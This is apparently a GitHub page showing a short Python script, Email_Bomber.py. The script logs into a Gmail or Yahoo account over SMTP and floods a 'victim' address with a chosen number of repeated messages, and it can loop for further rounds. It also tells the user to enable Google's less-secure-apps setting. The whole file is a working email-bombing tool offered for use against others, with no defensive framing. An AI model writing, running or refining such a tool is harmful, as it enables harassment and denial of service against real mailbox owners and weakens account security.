-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathEmail_Bomber.py
55 lines (41 loc) · 1.53 KB
/
Email_Bomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import smtplib
import sys
from termcolor import colored
# login to your email
print(colored("""for Gmail enter 1
for Yahoo enter 2""", 'red'))
smtp = input(colored("Enter Your choice: \n", 'blue'))
if smtp == '1':
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
elif smtp == "2":
server = smtplib.SMTP('smtp.mail.yahoo.com', 587)
server.starttls()
else:
sys.exit("[-] you're stupid! run me again!")
print(colored("[!] very important go to https://myaccount.google.com/lesssecureapps/ end enable it!", 'red'))
email = input("enter your email here: ")
password = input("enter your password here: ")
if not email or not password:
print("[!] You must Login to your account")
try:
server.login(email, password)
print("[+] Successfully Signed in as: ", email)
except smtplib.SMTPAuthenticationError:
print("[-] wrong email or password, or try to enable less secure apps in your account ")
sys.exit("run me again")
def bomber():
send = input(colored("Please Enter Your Victim Email: ", 'blue'))
thread = int(input("Count to sent to victim: "))
msg = input("Enter Your Message :\n")
for count in range(int(thread)):
server.sendmail(email, send, msg)
print(count, "[+] spammed successfully!")
bomber()
while True:
if __name__ == "__main__":
answer = input("Do you want to run me more?\n")
if answer.strip() in "y Y yes Yes YES".split():
bomber()
else:
sys.exit("bye bye")